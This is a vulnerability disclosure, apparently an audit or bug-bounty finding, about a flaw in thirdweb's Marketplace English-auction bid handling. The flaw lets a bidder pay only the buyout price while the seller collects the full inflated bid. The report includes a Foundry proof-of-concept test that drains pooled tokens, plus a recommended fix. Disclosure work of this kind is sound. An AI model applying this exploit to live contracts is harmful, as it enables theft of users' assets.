Anyone can drain all assets from Marketplace using the incorrect handling of `incomingBidAmount`

thirdweb3.md

Anyone can drain all assets from Marketplace using the incorrect handling of incomingBidAmount

Description

Thirdweb has live marketplace implementation contracts for approximately six months, with a considerable number of users actively participating.
This marketplace enables users to trade ERC721 and ERC115 tokens through various functionalities, including direct listings, offers, and English auctions.
In English auctions, participants place bids, and the winner is determined either when a bid matches the buyout bid price or when the auction expires.
However there is a critical flaw in the logic related to handling buyout bids, which could potentially allow any user to drain all the assets across all deployments.

The root cause of this issue lies within the _handleBid() function, particularly in how it manages the incomingBidAmount variable.
Let's break it down:
_handlebid()

1. Initially, the _incomingBid.bidAmount is assigned to incomingBidAmount:
   

   L345    uint256 incomingBidAmount = _incomingBid.bidAmount;

2. Then, if incomingBidAmount surpasses the buyoutBidAmount, it is reassigned:
   

   L350    if (incomingBidAmount > buyoutBidAmount) {
               incomingBidAmount = buyoutBidAmount;
           }

However, the critical issue arises because the same old _incomingBid struct is passed within _closeAuctionForBidder.

function _handleBid(Auction memory _targetAuction, Bid memory _incomingBid) internal {
        EnglishAuctionsStorage.Data storage data = EnglishAuctionsStorage.englishAuctionsStorage();
        Bid memory currentWinningBid = data.winningBid[_targetAuction.auctionId];
        uint256 currentBidAmount = currentWinningBid.bidAmount;
        uint256 incomingBidAmount = _incomingBid.bidAmount;
        address _nativeTokenWrapper = nativeTokenWrapper;

        // Close auction and execute sale if there's a buyout price and incoming bid amount is buyout price.
        if (_targetAuction.buyoutBidAmount > 0 && incomingBidAmount >= _targetAuction.buyoutBidAmount) {
            incomingBidAmount = _targetAuction.buyoutBidAmount;

            _closeAuctionForBidder(_targetAuction, _incomingBid);
        } else {

As a result, if a user submits a bid of 200 ETH, and the buyout bid is set at 10 ETH, the flawed logic allows the passing of 200 ETH inside _closeAuctionForBidder(_targetAuction, _incomingBid); while still retaining the assignment of 10 ETH to incomingBidAmount due to line 350.
This mistake is criticial since only the incomingBidAmount (10 ETH) is transferred from the user down the function, while the seller can claim the full 200 ETH using the collectAuctionPayout function.
Hence anyone can come in, make bid == contract's balance, i.e bid more than the buyout bid, pay only the buyout bid, but claim all balance. This balance is equal to the addition of all bids made in that currency. One can easily repeat this for all curruencies, stealing all different assets held by marketplace.

Please check following POC :

Inside EnglishAuctions.t

 function test_state_collectAuctionPayout_buyoutBid_poc() public {

        /*///////////////////////////////////////////////////////////////
                        Initial State
        //////////////////////////////////////////////////////////////*/

        // consider that market place already has 200 ETH worth of tokens from all bids made
        erc20.mint(marketplace, 200 ether);

        /*///////////////////////////////////////////////////////////////
                       Create Auction
        //////////////////////////////////////////////////////////////*/

        // Buyout bid : 10 ETH
        uint256 auctionId = _setup_newAuction();
        IEnglishAuctions.Auction memory existingAuction = EnglishAuctionsLogic(marketplace).getAuction(auctionId);

        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = existingAuction.tokenId;

        // Verify existing auction at `auctionId`
        assertEq(existingAuction.assetContract, address(erc721));

        vm.warp(existingAuction.startTimestamp);

        /*///////////////////////////////////////////////////////////////
                       BID
        //////////////////////////////////////////////////////////////*/

        // place bid : 200 ETH
        erc20.mint(buyer, 200 ether);
        vm.startPrank(buyer);
        erc20.approve(marketplace, 200 ether);
        EnglishAuctionsLogic(marketplace).bidInAuction(auctionId, 200 ether);
        vm.stopPrank();

        (address bidder, address currency, uint256 bidAmount) = EnglishAuctionsLogic(marketplace).getWinningBid(
            auctionId
        );

        // Test consequent states.
        // Seller is owner of token.
        assertIsOwnerERC721(address(erc721), buyer, tokenIds);
        assertEq(erc20.balanceOf(marketplace), 210 ether); // market place only got 10 from the user
        assertEq(erc20.balanceOf(buyer), 190 ether); // see only 10 is taken from user
        assertEq(buyer, bidder);
        assertEq(currency, address(erc20));
        assertEq(bidAmount, 200 ether); //however bid amount is 200

        /*///////////////////////////////////////////////////////////////
                       Collect Auction Tokens
        //////////////////////////////////////////////////////////////*/
      
        vm.prank(seller);
        EnglishAuctionsLogic(marketplace).collectAuctionPayout(auctionId);

        assertEq(erc20.balanceOf(marketplace), 10 ether); // only left with the buyout bid 
        assertEq(erc20.balanceOf(seller), 200 ether); // all assets stolen in exchange of buyout bid
        assertEq(erc20.balanceOf(buyer), 190 ether);
    }

Severity: Critical

• Impact: High, as it can result in the loss of all assets.
  
• Likelihood: High, as anyone can potentially exploit this vulnerability.
  

Recommedation:

Consider passing the overridden incoming bid only within the _closeAuctionForBidder function.